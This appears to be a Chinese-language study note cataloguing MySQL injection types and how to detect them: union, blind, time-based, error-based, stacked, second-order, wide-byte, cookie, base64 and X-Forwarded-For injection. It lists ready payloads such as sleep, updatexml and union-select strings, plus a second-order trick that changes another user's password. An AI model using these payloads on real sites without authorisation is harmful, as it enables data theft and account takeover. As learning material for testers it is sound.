11 mysql注入漏洞判断 02
union 联合查询注入
1' and '1'='1 与 1' and '1'='2 页面信息是否一样 不一样则存在漏洞
boolean 布尔盲注
页面仅仅会显示所查询的内容存在或者不存在
可以采用演示语句进行判断
1' and sleep(10)--+
若延迟10秒则存在漏洞
1‘ and if(1=1,1,0)--+
页面返回正常则存在漏洞
报错注入
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
错误信息中返回数据库信息则存在漏洞
堆叠注入
id=1' and 1=2--+ id=1' and 1=1--+
二次注入
二次注入比其他的注入更加难以发现
先测试网站是否拥有过滤,然后寻找可能会带入恶意数据二次使用的地方
如:用户注册-》修改密码
文章添加-》文章编辑
先注册用户a
再分别注册用户 a' and 1=1# ps:这里要注意#注释符,否则恶意数据在取出时会报错
和用户a' and 1=2#
按道理我们在修改a' and 1=1#的密码的时候,a' and 1=1#的密码不变,a 的密码被修改且不需要知道a 的密码的
宽字节注入
数据库编码与PHP编码设置为不同的两个编码就有可能产生宽字节注入
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
简单来说就是在php编码下是正常字符,到数据库会被编码为单引号所以会闭合搜索语句
检测语句
-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
均可以测试存在宽字节注入
-1%df%27%20union%20select%201,version(),database()--+
cookie 注入
注入点在cookie中
平常不会把cookie中的信息放到数据库中,但是在某些例如购物车等需要长时间确认身份的场景下,会把cookie信息存入数据库中
测试方法就和post get 的注入点一样
使用 buspsuite 抓包 改包提交
输入 uname=admin'+and+1%3d1--+ uname=admin'+and+1%3d2--+进行检测
base64注入
恶意数据需要经过base64加密
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字
符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执
行,从而形式 SQL 注入
xff注入攻击
之前通过xff绕过本地ip验证
没想到xff还能够注入数据库
开发人员很容易忽略xff这个头信息,且不会对xff进行过滤
当有xff头时可以尝试闭合sql语句试试
总而言之,sql注入就是在破坏原有的sql语句的基础上,添加新的sql语句,并以各种方法读到运行的结果